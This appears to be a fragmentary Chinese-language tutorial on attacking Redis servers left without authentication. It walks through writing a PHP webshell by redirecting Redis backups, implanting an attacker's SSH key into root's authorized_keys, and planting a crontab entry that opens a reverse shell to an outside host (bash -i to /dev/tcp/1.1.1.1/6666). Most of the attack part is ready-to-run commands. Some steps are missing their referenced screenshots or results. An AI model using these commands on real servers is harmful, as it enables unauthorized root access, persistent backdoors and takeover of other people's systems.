3.2.0版本后,Redis不使用密码访问时,将会进入一种保护模式,但是限制了只有本地(回环接口)才能访问。
这是redis配置时,blind=127.0.0.1造成的

如下是由于redis有密码造成的

信息收集
系统与进程id

config get *

redis一共包含16个库

写入webshell,redis数据库进程必须以root用户运行,redis用户无法写入

结果:

实际上,是改变redis的备份目录,将数据库备份为木马脚本。

以php的特性可以解析出来恶意脚本。
SSH免密登录
生成非对称密钥

id_rsa、id_rsa.public分别是私钥和公钥
我们可以通过如下命令将公钥写入,然后通过私钥连接
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -h x.x.x.x -p 6379 -x set 1
连接上redis执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
通过私钥连接
ssh root@x.x.x.x -i id_rsa

写入计划任务反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/1.1.1.1/6666 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save